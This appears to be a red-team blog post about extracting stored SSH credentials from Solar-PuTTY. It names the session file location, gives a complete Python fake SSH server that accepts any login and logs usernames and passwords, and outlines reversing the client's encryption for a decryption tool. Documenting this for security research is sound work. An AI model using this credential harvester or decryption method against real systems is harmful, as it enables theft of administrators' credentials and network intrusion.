SolarPuttyDecrypt

Back to Posts

SolarPuttyDecrypt

During a recent Red Team engagement, I was able to become domain admin on the client’s network; I decided to investigate further into the “sys admin” workstations and management network in order to recover more information about the network topology and assets, dumping more password and gaining access to firewalls/switches and servers’ VLANs.

Enumerating the sysadmin’s workstations, I discovered a windows tool used to connect via SSH.

Solar-PuTTY

Solar-PuTTY is a solarwinds version (with improved GUI and couple more functionalities) of the already well known PuTTY, an SSH (and telnet) client for the Windows platform.

Solar PuTTY, allows its users to store sessions and credentials or private keys for an easy login.

Unfortunately, there was no easy way to directly see the stored password but the “Export Sessions” functionality caught my attention.

I exported all the saved sessions from one of the machines and decided to work offline trying to recover them all in plain-text.

Bad Design

  1. The first thing that I would like to point out is that saved sessions are locally stored in a (not really) encrypted format as they are not protected by a master password choosen by the user.
    Their location can be found in:  %appdata%\SolarWinds\FreeTools\Solar-PuTTY\data.dat
  2. Since sessions are not protected by a master password they can be freely used and moreover, exported from Solar-PuTTY (they can also be exported with an empty password).
  3. Solar-Putty won’t alert if the server fingerprint differs from the stored one as the exported sessions does not contains the server fingerprint information.

Retrieve the Plain-Text Stored Sessions

Quick and dirty method

The first idea that I had was to generate a “fake” SSH server that logs credentials provided by the user (as per previous point 2 and 3: I was able to export the sessions and Solar-Putty won’t complain if the server fingerprint is changed).

Paramiko to the rescue

I wrote this simple script (already used in the past to solve a CTF) in order to log SSH credentials:

#!/usr/bin/env python
import logging
import socket
import sys
import threading
from binascii import hexlify
import paramiko

logging.basicConfig()
logger = logging.getLogger()

if len(sys.argv) != 2:
    print "Need private RSA key as argument."
    sys.exit(1)

host_key = paramiko.RSAKey(filename=sys.argv[1])


class Server(paramiko.ServerInterface):
    def __init__(self):
        self.event = threading.Event()

    def check_channel_request(self, kind, chanid):
        if kind == 'session':
            return paramiko.OPEN_SUCCEEDED

    def check_auth_password(self, username, password):
        print('Auth attempt for user %s with password: %s ' % (username, password))
        return paramiko.AUTH_SUCCESSFUL

    def check_auth_publickey(self, username, key):
        print('Auth attempt for user %s with key: %s' % (username, key.get_base64()))
        return paramiko.AUTH_SUCCESSFUL

    def get_allowed_auths(self, username):
        return 'publickey,password'

    def check_channel_exec_request(self, channel, command):
        # This is the command we need to parse
        print command
        self.event.set()
        return True


def listener():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('', 2222))

    sock.listen(100)
    client, addr = sock.accept()

    t = paramiko.Transport(client)
    t.set_gss_host(socket.getfqdn(""))
    t.load_server_moduli()
    t.add_server_key(host_key)
    server = Server()
    t.start_server(server=server)

    # Wait 30 seconds for a command
    server.event.wait(30)
    t.close()


while True:
    try:
        listener()
    except KeyboardInterrupt:
        sys.exit(0)
    except Exception as exc:
        logger.error(exc)

And here the results:Auth attempt for user root with password: mysup3rsecretPassword1!!

Now, despite being a pretty straightforward and easy method I wanted something able to retrieve plaintext password in batch since I had hundred of saved sessions.

Reverse Engineering

The next step was to reverse engineering Solar-Putty in order to understand how it was storing the sessions and how to reverse the encryption.

First step, I tried identifying the language it was written in and  if it was packed/crypted in any way.

A simple C# .NET binary with no obfuscation: Easy. Then, I’ve loaded it into ILSpy and started the reverse engineering process.
I’ve started off identifing the “export” functionality:

  1. I’ve searched for the string “Export Session” as a “Constant” and in the OnExportModel I discovered the DoExport function.
  2. Backtracking the DoExport function I found the Crypto.Encrypt and Crypto.Decrypt functions.


At this point was a matter of couple of minutes understanding how the Crypto.Encrypt function works and writing down a simple script to batch retrieve locally stored sessions and/or exported session.

SolarPuttyDecrypt

SolarPuttyDecrypt is a post-exploitation/forensics tool to decrypt SolarPuTTY’s sessions files and retrieve plain-text credentials. It can be downloaded from GitHub and hopefully someone would port it into a Metasploit module.

Share this post

Back to Posts